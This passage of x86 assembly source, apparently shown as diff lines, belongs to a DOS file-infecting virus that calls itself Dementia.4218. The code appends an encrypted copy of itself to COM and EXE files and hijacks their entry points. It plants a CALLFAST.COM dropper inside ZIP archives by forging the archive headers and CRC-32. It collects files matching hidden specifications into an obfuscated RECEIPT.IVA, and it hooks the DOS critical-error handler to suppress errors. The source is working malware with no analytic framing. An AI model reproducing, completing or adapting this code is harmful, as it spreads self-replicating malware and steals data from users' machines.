bx,[bp-0ah] ; BX = file handle of !#TEMP#! + call write_file_ + + mov ax,[bp-10h] ; AX = found REQUEST.IVA + or ax,ax ; Didn't found REQUEST.IVA + jz test_callfas ; Zero? Jump to test_callfas + + jmp test_receipt +test_callfas: + mov ax,[bp-0eh] ; AX = found CALLFAST.COM + or ax,ax ; Didn't found CALLFAST.COM + jz create_file_ ; Zero? Jump to create_file_ + + jmp call_mark_ +create_file_: + lea dx,callfast_com ; DX = offset of callfast_com + nop + call create_file + mov [bp-14h],ax ; Store file handle of CALLFAST.COM + mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM + + mov cx,(file_end-file_begin) + nop + lea dx,file_begin ; DX = offset of file_begin + nop + call write_file_ + + call close_file + + mov ax,01h ; Don't test filesize + mov [tst_filesize],ax ; Store don't test filesize + + lea dx,callfast_com ; DX = offset of callfast_com + nop + call inf_com_exe + + xor ax,ax ; Test filesize + mov [tst_filesize],ax ; Store test filesize + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + push cs ; Save CS at stack + pop es ; Load ES from stack (CS) + + lea si,callfast_com ; SI = offset of callfast_com + nop + lea di,filename ; DI = offset of filename + nop + mov cx,0dh ; Move thirteen bytes + rep movsb ; Move CALLFAST.COM to filename +open_filenam: + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + lea dx,filename ; DX = offset of filename + nop + call open_file + + call set_pos_eof + mov [bp-1ch],ax ; Store low-order word of filesize + mov [bp-1ah],dx ; Store high-order word of filesize + + call calc_crc32 + mov [bp-20h],ax ; Store low-order word of CRC-32 c... + mov [bp-1eh],dx ; Store high-order word of CRC-32 ... + + mov bx,[bp-08h] ; BX = file handle of ZIP file + mov cx,[bp-16h] ; CX = high-order word of offset o... + mov dx,[bp-18h] ; DX = low-order word of offset of... + call set_pos_sof_ + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h + mov ds,ax ; DS = segment of data buffer + + mov ax,'KP' ; AX = low-order word of local hea... + mov ds:[00h],ax ; Store low-order word of local he... + mov ax,403h ; AX = high-order word of local hea... + mov ds:[02h],ax ; Store high-order word of local he... + mov ax,0ah ; AX = version needed to extract (v... + mov ds:[04h],ax ; Store version needed to extract (... + xor ax,ax ; AX = general purpose bit flag and... + mov ds:[06h],ax ; Store general purpose bit flag + mov ds:[08h],ax ; Store compression method (the fil... + mov ax,3021h ; AX = last modified file time + mov ds:[0ah],ax ; Store last modified file time + mov ax,1ae1h ; AX = last modified file date + mov ds:[0ch],ax ; Store last modified file date + mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch... + mov ds:[0eh],ax ; Store low-order word of CRC-32 c... + mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c... + mov ds:[10h],ax ; Store high-order word of CRC-32 ... + mov ax,[bp-1ch] ; AX = low-order word of filesize + mov ds:[12h],ax ; Store low-order word of compress... + mov ds:[16h],ax ; Store low-order word of uncompre... + mov ax,[bp-1ah] ; AX = high-order word of filesize + mov ds:[14h],ax ; Store high-order word of compres... + mov ds:[18h],ax ; Store high-order word of uncompr... + mov ax,0ch ; AX = filename length (12 bytes) + mov ds:[1ah],ax ; Store filename length (12 bytes) + xor ax,ax ; AX = extra field length (0 bytes) + mov ds:[1ch],ax ; Store extra field length (0 bytes) + + mov cx,1eh ; Write thirty bytes + call write_file + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + lea dx,filename ; DX = offset of filename + nop + mov cx,0ch ; Write twelve bytes + nop + call write_file_ + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h + mov ds,ax ; DS = segment of data buffer + + mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM + call set_pos_sof +copy_callfas: + mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM + mov cx,400h ; Read one thousand and twenty-fou... + call read_file + cmp ax,00h ; Read all of the file? + je copy_cds_ ; Equal? Jump to copy_cds_ + + mov cx,ax ; CX = number of bytes actually read + mov bx,[bp-08h] ; BX = file handle of ZIP file + call write_file + + jmp copy_callfas +copy_cds_: + mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! + call set_pos_sof +cpy_cds_loop: + mov ax,[bp-0ch] ; AX = number of central directory... + cmp ax,00h ; No central directory file header? + je wrt_last_cds ; Equal? Jump to write_last_cds + + dec ax ; Decrease number of central direc... + mov [bp-0ch],ax ; Store number of central director... + + mov ax,'KP' ; AX = low-order word of central d... + mov ds:[00h],ax ; Store low-order word of central ... + mov ax,201h ; AX = high-order word of central ... + mov ds:[02h],ax ; Store high-order word of central... + + mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! + mov cx,2ah ; Read forty-two bytes + mov dx,04h ; DX = offset of central directory... + call read_file_ + + mov cx,ds:[1ch] ; CX = filename length + mov dx,ds:[1eh] ; DX = extra field length + add cx,dx ; Add extra field length to filena... + mov dx,ds:[20h] ; DX = file comment length + add cx,dx ; CX = number of bytes to read + + push cx ; Save CX at stack + mov dx,2eh ; DX = offset of central directory... + call read_file_ + + mov bx,[bp-08h] ; BX = file handle of ZIP file + pop cx ; Load CX from stack + add cx,2eh ; Add size of central directory fi... + call write_file + + jmp cpy_cds_loop +wrt_last_cds: + mov ax,0ah ; AX = version made by (version 1.... + mov ds:[04h],ax ; Store version made by (version 1... + mov ds:[06h],ax ; Store version needed to extract (... + xor ax,ax ; AX = general purpose bit flag and... + mov ds:[08h],ax ; Store general purpose bit flag + mov ds:[0ah],ax ; Store compression method (the fil... + mov ax,3021h ; AX = last modified file time + mov ds:[0ch],ax ; Store last modified file time + mov ax,1ae1h ; AX = last modified file date + mov ds:[0eh],ax ; Store last modified file date + mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch... + mov ds:[10h],ax ; Store low-order word of CRC-32 c... + mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c... + mov ds:[12h],ax ; Store high-order word of CRC-32 ... + mov ax,[bp-1ch] ; AX = low-order word of filesize + mov ds:[14h],ax ; Store low-order word of compress... + mov ds:[18h],ax ; Store low-order word of uncompre... + mov ax,[bp-1ah] ; AX = high-order word of filesize + mov ds:[16h],ax ; Store high-order word of compres... + mov ds:[1ah],ax ; Store high-order word of compres... + mov ax,0ch ; AX = filename length (12 bytes) + mov ds:[1ch],ax ; Store filename length (12 bytes) + xor ax,ax ; AX = extra field length, file co... + mov ds:[1eh],ax ; Store extra field length (0 bytes) + mov ds:[20h],ax ; Store file comment length (0 bytes) + mov ds:[22h],ax ; Store disk number start (0 bytes) + mov ds:[24h],ax ; Store internal file attributes + mov ds:[26h],ax ; Store low-order word of external... + mov ds:[28h],ax ; Store high-order word of externa... + mov ax,[bp-18h] ; AX = low-order word of offset of... + mov ds:[2ah],ax ; Store low-order word of relative... + mov ax,[bp-16h] ; AX = high-order word of offset o... + mov ds:[2ch],ax ; Store high-order word of relativ... + + mov bx,[bp-08h] ; BX = file handle of ZIP file + mov cx,2eh ; Write forty-six bytes + call write_file + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + lea dx,filename ; DX = offset of filename + nop + mov cx,0ch ; Write twelve bytes + nop + call write_file_ + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h + mov ds,ax ; DS = segment of data buffer + + mov ax,'KP' ; AX = low-order word of end of ce... + mov ds:[00h],ax ; Store low-order word of end of c... + mov ax,605h ; AX = high-order word of end of c... + mov ds:[02h],ax ; Store high-order word of end of ... + + mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! + mov cx,12h ; Read eightteen bytes + mov dx,04h ; DX = offset of end of central di... + call read_file_ + + mov cx,ds:[14h] ; CX = zipfile comment length + push cx ; Save CX at stack + mov dx,16h ; DX = offset of zipfile comment + call read_file_ + + mov ax,ds:[08h] ; AX = total number of entries in ... + inc ax ; Increase total number of entries... + mov ds:[08h],ax ; Store total number of entries in... + mov ax,ds:[0ah] ; AX = total number of entries in ... + inc ax ; Increase total number of entries... + mov ds:[0ah],ax ; Store total number of entries in... + mov ax,ds:[0ch] ; AX = low-order word of size of t... + mov dx,ds:[0eh] ; DX = high-order word of size of ... + add ax,3ah ; Add size of central directory fi... + nop + adc dx,00h ; Convert to 32-bit + mov ds:[0ch],ax ; Store low-order word of size of ... + mov ds:[0eh],dx ; Store high-order word of size of... + mov ax,ds:[10h] ; AX = low-order word of offset of... + mov dx,ds:[12h] ; DX = high-order word of offset o... + add ax,2ah ; Add size of local file header to... + nop + adc dx,00h ; Convert to 32-bit + mov bx,[bp-1ah] ; BX = high-order word of filesize + add dx,bx ; Add high-order word of filesize ... + mov bx,[bp-1ch] ; BX = low-order word of filesize + add ax,bx ; Add low-order word of filesize t... + adc dx,00h ; Convert to 32-bit + mov ds:[10h],ax ; Store low-order word of offset o... + mov ds:[12h],dx ; Store high-order word of offset ... + + mov bx,[bp-08h] ; BX = file handle of ZIP file + pop cx ; Load CX from stack + add cx,16h ; Add size of end of central direc... + call write_file + + mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM + call close_file + + lea dx,filename ; DX = offset of filename + nop + call delete_file + + jmp call_mark_ +test_receipt: + mov ax,[bp-12h] ; AX = found RECEIPT.IVA + or ax,ax ; Didn't found RECEIPT.IVA + jz exam_extra ; Zero? Jump to exam_extra + + jmp call_mark_ +exam_extra: + mov bx,[bp-08h] ; BX = file handle of ZIP file + mov cx,[bp-22h] ; CX = high-order word of extra field + mov dx,[bp-24h] ; DX = low-order word of extra field + call set_pos_sof_ + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h + mov ds,ax ; DS = segment of data buffer + mov es,ax ; ES = segment of data buffer + + mov cx,400h ; Read one thousand and twenty-fou... + call read_file + + cld ; Clear direction flag + xor si,si ; Zero SI + xor di,di ; Zero DI + lodsw ; AX = word of extra field + cmp ax,1492h ; Found infection mark? + je comp_extra ; Equal? Jump to comp_extra + + jmp call_mark_ +comp_extra: + lodsw ; AX = word of extra field + cmp ax,1776h ; Found infection mark? + je load_extra ; Equal? Jump to load_extra + + jmp call_mark_ +load_extra: + lodsw ; AX = 16-bit decryption key + mov dx,ax ; DX = " " " + lodsb ; AL = number of file specifications + + xor cx,cx ; Zero CX + mov cl,al ; CL = number of filespecification + push ax ; Save AX at stack +decrypt_next: + push cx ; Save CX at stack + mov cx,07h ; Decryption fourteen bytes +decrypt_spec: + lodsw ; AX = word of encrypted file spec... + xor ax,dx ; Decrypt word of file specification + stosw ; Store word of file specification + + loop decrypt_spec + + pop cx ; Load CX from stack + + loop decrypt_next + + mov ax,ds ; AX = segment of data buffer + add ax,40h ; AX = segment of pathname + mov es,ax ; ES = " " " + + push ds ; Save DS at stack + push es ; Save ES at stack + pop ds ; Load DS from stack (ES) + + mov ah,47h ; Get current directory + xor dl,dl ; Default drive + xor si,si ; Zero SI + int 21h + pop ds ; Load DS from stack + + mov ax,es ; AX = segment of pathname + add ax,04h ; AX = segment of end of pathname + mov es,ax ; ES = " " " " " + + xor di,di ; Zero DI + mov al,'\' ; AL = backslash + stosb ; Store backslash + xor al,al ; AL = zero + stosb ; Store zero + + push es ; Save ES at stack + mov ah,2fh ; Get disk transfer area address + int 21h + mov [bp-26h],es ; Store segment of disk transfer a... + mov [bp-28h],bx ; Store offset of disk transfer ar... + pop es ; Load ES from stack + + push ds ; Save DS at stack + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h+48h + mov ds,ax ; DS = segment of disk transfer area + + xor dx,dx ; Zero DX + mov ah,1ah ; Set disk transfer area address + int 21h + + lea dx,receipt_iva ; DX = offset of receipt_iva + nop + call create_file + mov bx,ax ; BX = file handle of RECEIPT.IVA + mov [bp-14h],ax ; Store file handle of RECEIPT.IVA + pop ds ; Load DS from stack + + pop ax ; Load AX from stack + mov dx,01h ; Don't store backslash + call create_recei + + mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA + call set_pos_sof + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h+48h + mov ds,ax ; DS = segment of disk transfer area + mov es,ax ; ES = " " " " " +encrypt_rece: + mov cx,400h ; Read one thousand and twenty-fou... + call read_file + cmp ax,00h ; Read all of the file? + je set_dta_addr ; Equal? Jump to set_dta_addr + + push ax ; Save AX at stack + xor dx,dx ; Zero DX + sub dx,ax ; DX = -number of bytes actually read + mov cx,-01h + call set_pos_cfp + + pop ax ; Load AX from stack + push ax ; Save AX at stack + + mov cx,ax ; CX = number of bytes actually read + xor si,si ; Zero SI + xor di,di ; Zero DI +encrypt_ipt_: + lodsb ; AL = byte of RECEIPT.IVA + xor al,0ffh ; Encrypt byte of RECEIPT.IVA + stosb ; Store encrypted byte of RECEIPT.IVA + loop encrypt_ipt_ + + pop ax ; Load AX from stack + mov cx,ax ; CX = number of bytes actually read + call write_file + + jmp encrypt_rece +set_dta_addr: + call close_file + + mov ds,[bp-26h] ; DS = segment of disk transfer area + mov dx,[bp-28h] ; DX = offset of disk transfer area + mov ah,1ah ; Set disk transfer area address + int 21h + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h+40h + mov ds,ax ; DS = segment of data buffer + + xor dx,dx ; Zero DX + mov ah,3bh ; Set current directory + int 21h + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + push cs ; Save CS at stack + pop es ; Load ES from stack (CS) + + lea si,receipt_iva ; SI = offset of receipt_iva + nop + lea di,filename ; DI = offset of filename + nop + mov cx,0dh ; Move thirteen bytes + rep movsb ; Move RECEIPT.IVA to filename + + jmp open_filenam +call_mark_: + mov bx,[bp-08h] ; BX = file handle of ZIP file + call infect_mark + + mov bx,[bp-08h] ; BX = file handle of ZIP file + call close_file + + mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! + call close_file + + lea dx,temp_file ; DX = offset of temp_file + nop + call delete_file +inf_zip_exit: + call int24_load + + pop es ds di si dx cx bx ax + + mov sp,bp ; SP = stack pointer + + pop bp ; Load BP from stack + + ret ; Return! + endp + +infect_com proc near ; Infect COM file + push bp ; Save BP at stack + mov bp,sp ; BP = stack pointer + sub sp,04h ; Correct stack pointer + + mov ah,00h ; COM executable + nop + nop + mov cs:[com_or_exe],ah ; Store COM executable + + mov ax,ds:[00h] ; AX = word of original code of CO... + mov word ptr cs:[origin_code],ax + mov al,ds:[02h] ; AL = byte of original code of CO... + mov cs:[origin_code+02h],al + + call encrypt_copy + + call set_pos_eof + mov [bp-04h],ax ; Store low-order word of filesize + mov [bp-02h],dx ; Store high-order word of filesize + + push ax ; Save AX at stack + mov ax,cs:[tst_filesize] + cmp ax,01h ; Don't test filesize? + pop ax ; Load AX from stack + je calc_buf_seg ; Equal? Jump to calc_buf_seg + + cmp dx,00h ; Filesize too large? + jne inf_com_exit ; Not equal? Jump to inf_com_exit + cmp ax,1000h ; Filesize too small? + jb inf_com_exit ; Below? Jump to inf_com_exit +calc_buf_seg: + add ax,(code_end-code_begin) + jb inf_com_exit ; Filesize too large? Jump to inf_... + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h + mov ds,ax ; DS = segment of data buffer + + mov cx,10h ; CX = number of bytes to add to f... + mov ax,[bp-04h] ; AX = filesize + and ax,0000000000001111b + sub cx,ax ; CX = number of bytes to add to f... + + mov ax,[bp-04h] ; AX = filesize + add ax,cx ; AX = offset of virus within file + mov [bp-04h],ax ; Store offset of virus within file + + call write_file_ + + mov cx,(code_end-code_begin) + call write_file + + mov al,0e9h ; JMP imm16 (opcode 0e9h) + mov ds:[00h],al ; Store JMP imm16 + + mov ax,[bp-04h] ; AX = filesize + sub ax,03h ; Subtract size of opcode JMP imm16 + mov ds:[01h],ax ; Store 16-bit immediate + + call set_pos_sof + + mov cx,03h ; Write three bytes + call write_file +inf_com_exit: + mov sp,bp ; SP = stack pointer + + pop bp ; Load BP from stack + + ret ; Return! + endp + +infect_exe proc near ; Infect EXE file + push bp ; Save BP at stack + mov bp,sp ; BP = stack pointer + sub sp,04h ; Correct stack pointer + + mov ah,01h ; EXE executable + nop + nop + mov cs:[com_or_exe],ah ; Store EXE executable + + call set_pos_eof + mov [bp-04h],ax ; Store low-order word of filesize + mov [bp-02h],dx ; Store high-order word of filesize + + and ax,0000000000001111b + mov cx,10h ; CX = number of bytes to add to f... + sub cx,ax ; CX = " " " " " " " + + mov ax,[bp-04h] ; AX = low-order word of filesize + mov dx,[bp-02h] ; DX = high-order word of filesize + add ax,cx ; Add number of bytes to add to fi... + adc dx,00h ; Convert to 32-bit + mov [bp-04h],ax ; Store low-order word of pointer ... + mov [bp-02h],dx ; Store high-order word of pointer... + + call write_file_ + + push bx ; Save BX at stack + mov ax,[bp-04h] ; AX = low-order word of pointer t... + mov dx,[bp-02h] ; DX = high-order word of pointer ... + + mov bx,ds:[08h] ; BX = header size in paragraphs + mov cl,0ch ; Divide by four thousand and nine... + shr bx,cl ; BX = header size in sixty-five t... + sub dx,bx ; Subtract header size in sixty fi... + + mov bx,ds:[08h] ; BX = header size in paragraphs + mov cl,04h ; Multiply by paragraphs + shl bx,cl ; BX = header size + sub ax,bx ; Subtract header size from filesize + sbb dx,00h ; Convert to 32-bit + mov [bp-04h],ax ; Store low-order word of pointer ... + mov [bp-02h],dx ; Store high-order word of pointer... + pop bx ; Load BX from stack + + mov ax,ds:[14h] ; AX = original instruction pointer + mov cs:[instruct_ptr],ax + mov ax,ds:[16h] ; AX = original code segment + mov cs:[code_seg],ax ; Store original code segment + + xor ax,ax ; Zero AX + mov ds:[14h],ax ; Store initial IP + mov cs:[initial_ip],ax ; Store " " + + mov ax,[bp-02h] ; AX = high-order word of pointer ... + test ax,1111111111110000b + jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr + + jmp inf_exe_exit +calc_ins_ptr: + mov cl,0ch + shl ax,cl ; Multiply by sixty-five thousand ... + + mov dx,[bp-04h] ; DX = low-order word of pointer t... + mov cl,04h ; Divide by paragraphs + shr dx,cl ; DX = low-order word of pointer t... + add ax,dx ; AX = initial CS relative to star... + mov ds:[16h],ax ; Store initial CS relative to sta... + mov cs:[initial_cs],ax ; " " " " " " + + push ax ; Save AX at stack + mov ax,ds:[0eh] ; AX = initial SS relative to star... + mov cs:[stack_seg],ax ; Store initial SS relative to sta... + mov ax,ds:[10h] ; AX = initial SP + mov cs:[stack_ptr],ax ; Store initial SP + pop ax ; Load AX from stack + + add ax,(code_end-code_begin+0fh)/10h + jae store_stack ; Above or equal? Jump to store_stack + + jmp inf_exe_exit + + nop +store_stack: + mov ds:[0eh],ax ; Store initial SS relative to sta... + mov ax,100h ; AX = initial SP + mov ds:[10h],ax ; Store initial SP + + push bx ; Save BX at stack + mov ax,[bp-04h] ; AX = low-order word of pointer t... + mov dx,[bp-02h] ; DX = high-order word of pointer ... + + mov bx,ds:[08h] ; BX = header size in paragraphs + mov cl,0ch ; Divide by four thousand and nine... + shr bx,cl ; BX = header size in sixty-five t... + add dx,bx ; Add header size in sixty-five th... + + mov bx,ds:[08h] ; BX = header size in paragraphs + mov cl,04h ; Multiply by paragraphs + shl bx,cl ; BX = header size + add ax,bx ; Add header size to filesize + adc dx,00h ; Convert to 32-bit + mov [bp-04h],ax ; Store low-order word of pointer ... + mov [bp-02h],dx ; Store high-order word of pointer... + pop bx ; Load BX from stack + + mov ax,[bp-04h] ; AX = low-order word of pointer t... + mov dx,[bp-02h] ; DX = high-order word of pointer ... + add ax,(code_end-code_begin) + adc dx,00h ; Convet to 32-bit + + mov cl,07h + shl dx,cl ; Multiply by one hundred and twen... + + push ax ; Save AX at stack + mov cl,09h ; Divide by pages + shr ax,cl ; AX = low-order word of pointer t... + add dx,ax ; DX = number of bytes on last 512... + pop ax ; Load AX from stack + + and ax,0000000000011111b + jz store_pages ; Zero? Jump to store_pages + + inc dx ; Increase number of bytes on last... + + jmp store_pages_ + + nop +store_pages: + mov ax,200h ; AX = total number of 512-bytes p... +store_pages_: + mov ds:[02h],ax ; Store total number of 512-bytes ... + mov ds:[04h],dx ; Store number of bytes on last 51... + + mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc... + cmp ax,10h ; Maximum paragraphs to allocate ...? + jae store_maximu ; Above or equal? Jump to store_ma... + + mov ax,10h ; AX = new maximum paragraphs to a... +store_maximu: + mov ds:[0ch],ax ; Store maximum paragraphs to allo... + + call set_pos_sof + + mov cx,20h ; Write thirty-two bytes + call write_file + + call set_pos_eof + + call encrypt_copy + + mov cx,(code_end-code_begin) + call write_file +inf_exe_exit: + mov sp,bp ; SP = stack pointer + + pop bp ; Load BP from stack + + ret ; Return! + endp + +encrypt_copy proc near ; Move virus to data buffer and en... + push bx ; Save BX at stack + + mov ah,2ch ; Get system time + int 21h + mov bx,cx ; BX = hour and minute + xor bx,dx ; BX = 16-bit random number + + mov ah,2ah ; Get system date + int 21h + xor bx,cx ; BX = 16-bit random number + xor bx,dx ; BX = decryption key + mov dx,bx ; DX = " " + + mov cs:[decrypt_key],dx ; Store decryption key + + pop bx ; Load BX from stack + + cld ; Clear direction flag + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h + mov es,ax ; ES = segment of data buffer + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + xor si,si ; Zero SI + xor di,di ; Zero DI + mov cx,(code_end-code_begin) + rep movsb ; Move virus to data buffer + + push es ; Save ES at stack + pop ds ; Load DS from stack (ES) + + lea si,crypt_begin-02h ; SI = offset of crypt_end + mov di,si ; DI = " " " + mov cx,(crypt_begin-crypt_end-02h)/02h + + std ; Set direction flag +encrypt_loop: + lodsw ; AX = word of plain code + xor ax,dx ; Encrypt word + stosw ; Store encrypted word + + loop encrypt_loop + + cld ; Clear direction flag + + ret ; Return! + endp + +int24_store proc near ; Get and set interrupt vector 24h + push bx dx ds es ; Save registers at stack + + mov ax,3524h ; Get interrupt vector 24h + int 21h + mov word ptr cs:[int24_addr],bx + mov word ptr cs:[int24_addr+02h],es + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + lea dx,int24_virus+110h ; DX = offset of int24_virus + 110h + mov ax,2524h ; Set interrupt vector 24h + int 21h + + pop es ds dx bx ; Load registers from stack + + ret ; Return! + endp + +int24_load proc near ; Set interrupt vector 24h + push dx ds ; Load registers from stack + + mov dx,word ptr cs:[int24_addr] + mov ds,word ptr cs:[int24_addr+02h] + mov ax,2524h ; Set interrupt vector 24h + int 21h + + pop ds dx ; Load registers from stack + + ret ; Return! + endp + +int24_virus proc near ; Interrupt 24h of Dementia.4218 + mov al,03h ; Fail system call in progress + + iret ; Interrupt return! + endp + +calc_crc32 proc near ; Calculate CRC-32 checksum + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h + mov ds,ax ; DS = segment of data buffer + + add ax,40h ; AX = segment of CRC-32 table + mov es,ax ; ES = " " " " + + xor di,di ; Zero DI + xor cx,cx ; Zero CX +gen_crc_tab: + xor dx,dx ; Zero DX + xor ax,ax ; Zero AX + + mov al,cl ; AL = counter + push cx ; Save CX at stack + mov cx,08h ; Calculate each CRC-32 table entr... +gen_crc_loop: + clc ; Clear carry flag + rcr dx,01h ; Rotate DX through carry one bit ... + rcr ax,01h ; Rotate AX through carry one bit ... + jnc carry_loop ; No carry? Jump to carry_loop + + xor dx,0edb8h ; DX = high-order word of CRC-32 t... + xor ax,8320h ; AX = low-order word of CRC-32 ta... +carry_loop: + loop gen_crc_loop + + mov es:[di],ax ; Store low-order word of CRC-32 t... + mov es:[di+02h],dx ; Store high-order word of CRC-32 ... + + add di,04h ; DI = offset of next CRC-32 table... + + pop cx ; Load CX from stack + inc cx ; Increase count register + cmp cx,100h ; Generated enough CRC-32 table en... + jne gen_crc_tab ; Not equal? Jump to gen_crc_tab + + call set_pos_sof + + mov dx,0ffffh ; DX = high-order word of CRC-32 c... + mov ax,0ffffh ; AX = low-order word of CRC-32 ch... +read_block: + push ax dx ; Save registers at stack + mov cx,400h ; Read one thousand and twenty-fou... + call read_file + cmp ax,00h ; Read all of the file? + je calc_crc_xit ; Equal? Jump to calc_crc_xit + + mov cx,ax ; CX = number of bytes actually read + + pop dx ax ; Load registers from stack + + xor si,si ; Zero SI +cal_crc_loop: + push bx cx ; Save registers at stack + xor bh,bh ; Zero BH + mov bl,[si] ; BL = byte of file + inc si ; Increase index register + + xor bl,al ; Exclusive OR (XOR) byte of file ... + mov cl,02h + shl bx,cl ; Multiply by four + mov di,bx ; DI = offset of next CRC-32 table... + + mov al,ah ; AL = low-order byte of low-order... + mov ah,dl ; AH = high-order byte of low-orde... + mov dl,dh ; DL = low-order byte of high-orde... + xor dh,dh ; Zero DH + + mov bx,es:[di] ; BX = low-order word of CRC-32 ta... + xor ax,bx ; AX = low-order word of CRC-32 ch... + mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t... + xor dx,bx ; DX = high-order word of CRC-32 c... + + pop cx bx ; Load registers from stack + + loop cal_crc_loop + + jmp read_block +calc_crc_xit: + pop dx ax ; Load registers from stack + + xor dx,0ffffh ; DX = high-order word of CRC-32 c... + xor ax,0ffffh ; AX = low-order word of CRC-32 ch... + + ret ; Return! + endp + +create_recei proc near ; Create RECEIPT.IVA file + push bp ; Save BP at stack + mov bp,sp ; BP = stack pointer + sub sp,12h ; Correct stack pointer + + mov [bp-08h],ax ; Store number of file specifications + mov [bp-10h],bx ; Store file handle of RECEIPT.IVA + mov [bp-02h],dx ; Store store or don't store backs... + mov [bp-06h],ds ; Store segment of file specificat... + + mov ah,3bh ; Set current directory + + push es ; Save ES at stack + pop ds ; Load DS from stack (ES) + + xor dx,dx ; Zero DX + int 21h + + mov ax,[bp-08h] ; AX = number of file specifications + xor cx,cx ; Zero CX + mov cl,al ; CL = number of file specifications + xor dx,dx ; Zero DX +find_first_: + mov ds,[bp-06h] ; DS = segment of file specification + push cx ; Save CX at stack + mov cx,0000000000000111b + call find_first + push dx ; Save DX at stack + jnc find_next_ ; No error? Jump to find_next_ + + jmp fnd_nxt_loop + + nop +find_next_: + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h+48h + mov ds,ax ; DS = segment of disk transfer area + + mov dx,1eh ; DX = offset of filename + call open_file + mov [bp-12h],ax ; Store file handle of file within... + + mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA + call set_pos_eof + + push ds ; Save DS at stack + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h+44h + mov ds,ax ; DS = segment of end of pathname + + mov cx,40h ; Write sixty-four bytes + mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA + call write_file + pop ds ; Load DS from stack + + mov cx,0eh ; Write fourteen bytes + mov dx,1eh ; DX = offset of filename + call write_file_ + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h+4ch + mov ds,ax ; DS = segment of data buffer + + mov bx,[bp-12h] ; BX = file handle of file within ... + call set_pos_eof + mov ds:[00h],ax ; Store low-order word of filesize + mov ds:[02h],dx ; Store high-order word of filesize + + mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA + mov cx,04h ; Write four bytes + call write_file + + mov bx,[bp-12h] ; BX = file handle of file within ... + call set_pos_sof +copy_file: + mov bx,[bp-12h] ; BX = file handle of file within ... + mov cx,400h ; Read one thousand and twenty-fou... + call read_file + cmp ax,00h ; Read all of the file? + je call_fnd_nxt ; Equal? Jump to call_fnd_nxt + + mov cx,ax ; CX = number of bytes actually read + mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA + call write_file + + jmp copy_file +call_fnd_nxt: + mov bx,[bp-12h] ; BX = file handle of file within ... + call close_file + + call find_next + jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop + + jmp find_next_ +fnd_nxt_loop: + pop dx cx ; Load registers from stack + + add dx,0eh ; DX = offset of next file specifi... + + dec cx ; Decrease count register + cmp cx,00h ; No more files? + je copy_name ; Equal? Jump to copy_name + + jmp find_first_ +copy_name: + xor cx,cx ; Zero CX +find_first__: + push cx ; Save CX at stack + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + lea dx,file_specifi ; DX = offset of file_specifi + nop + mov cx,0000000000010111b + call find_first + jc receip_exit ; Error? Jump to receip_exit + + pop cx ; Load CX from stack + push cx ; Save CX at stack + + jmp test_count + + nop +found_dir: + push cx ; Save CX at stack + + mov cx,01h ; Don't examine disk transfer area +test_count: + cmp cx,00h ; Examine disk transfer area? + je examine_dta ; Equal? Jump to examine_dta + + call find_next + jc receipt_exit ; Error? Jump to receipt_exit + + dec cx ; Decrease CX + + jmp test_count +examine_dta: + pop cx ; Load CX from stack + inc cx ; Increase count register + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h+44h + mov es,ax ; ES = segment of end of pathname + add ax,04h ; AX = segment of disk transfer area + mov ds,ax ; DS = " " " " " + + mov si,15h ; SI = offset of attribute of file... + lodsb ; AL = attribute of file found + test al,00010000b ; Directory? + je found_dir ; Equal? Jump to found_dir + + mov si,1eh ; SI = offset of filename + lodsb ; AL = byte of filename + cmp al,'.' ; Directory? + je found_dir ; Equal? Jump to found_dir + + mov ax,[bp-02h] ; AX = store or don't store backslash + mov di,ax ; DI = offset of end of pathname + mov si,1eh ; SI = offset of filename + cmp al,01h ; Don't store backslash? + je copy_name_ ; Equal? Jump to copy_name_ + + mov al,'\' ; AL = backslash + stosb ; Store backslash +copy_name_: + lodsb ; AL = byte of filename + cmp al,00h ; End of filename? + je store_zero ; Equal? Jump to store_zero + + stosb ; Store byte of filename + + jmp copy_name_ +store_zero: + mov dx,di ; DX = offset of end of pathname + xor al,al ; AL = zero + stosb ; Store zero + + mov ax,[bp-08h] ; AX = number of file specifications + mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA + mov ds,[bp-06h] ; DS = segment of file specifictions + push cx ; Save CX at stack + call create_recei + pop cx ; 